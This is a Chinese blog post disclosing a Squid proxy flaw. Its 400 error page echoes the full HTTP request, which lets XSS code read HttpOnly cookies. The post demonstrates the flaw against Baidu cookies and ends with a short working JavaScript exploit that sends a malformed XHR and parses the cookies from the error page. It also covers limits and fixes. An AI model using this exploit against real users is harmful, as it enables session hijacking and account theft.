好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

利用squid轻松获取经http only保护的cookie内容 - 网站

Squid cache(简称为Squid)是一个流行的自由软件(GNU通用公共许可证)的代理服务器和Web缓存服务器。Squid有广泛的用途,从作为网页服务器的前置cache服务器缓存相关请求来提高Web服务器的速度,到为一组人共享网络资源而缓存万维网,域名系统和其他网络搜索,到通过过滤流量帮助 网络安全 ,到局域网通过代理上网。Squid主要设计用于在Linux一类系统运行。 现在成为XSS的帮凶有木有= = 发现这个 漏洞 的缘起在于一次XSS...

成功插入代码以后发现目标cookie是HTTP-Only的...

按说,到这时候应当放弃了...但是啊...我们大学有个神奇的cache服务器叫做squid...

研究了一下....发现结合squid的错误机制是可以做到bypass http-only的

 

我们的目标错误是400: Bad Request

这个错误最容易通过 浏览器 Ajax触发(触发方式将在下面说明)

对应的错误模板文件为errors/en/ERR_INVALID_REQ

让我们打开看一下....虽说习惯很不好....居然只有一行....

不过重整一下还是很快找到了关键的部位

这个%R是什么意思呢

http://wiki.squid-cache.org/Features/CustomErrors#ERR_.2A_template_codes_for_embedding

看看这里

%R

Full HTTP Request

全部Request啊...那么意味着发出的cookie也可以方便的获取....不管是不是http-only的

 

试一下...

(有点老了,但是刚刚拖了最新的3.3.5版本下来看,这个问题没有被修过)

随便用一个网站,我用的是百度...这有俩httponly的cookie

然后构造畸形ajax请求

关键就在于那个%号

这会让squid认为这是一个不合法的request method从而抛出bad request

拿一下请求头

  然后发现httponly的SSUDB和SSUDBTSP就这样拿到了

顺便吐槽一下百度,尼玛BDUSS和SSUDB是一样的内容你SSUDB是httponly的有毛意义

 

危害及局限:

1.XSS的大帮凶,httponly就这样轻轻松松bypass

2.主要适用于定点打击吧...不过写一小段脚本探测一下内网环境也是可以的

3.https协议下的请求因为不走cache服务器当然是拿不到的了

最后送上一小段exploit

function getCookieOrHeader(){ var res= document.cookie; //Test Squid var r; if(window.XMLHttpRequest) { r = new XMLHttpRequest(); } else { try { r = new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) { r = new ActiveXObject("Microsoft.XMLHTTP"); } } r.open('%xss', '/', false); r.send(); if(r.status == 400 && r.responseText.search("squid") != -1) { var s = r.responseText.search(/<pre>/ig) + 6; var l = r.responseText.search(/<\/pre>/ig) - s; res = r.responseText.substr(s, l); } return res; }

修复方案: 首先我是建议squid开发者避免在错误页面里面包含过于详细的请求头

其次希望使用squid的团体或个人在生产环境时一定要自定义错误页面方式敏感信息外泄

查看更多关于利用squid轻松获取经http only保护的cookie内容 - 网站的详细内容...

  阅读:52次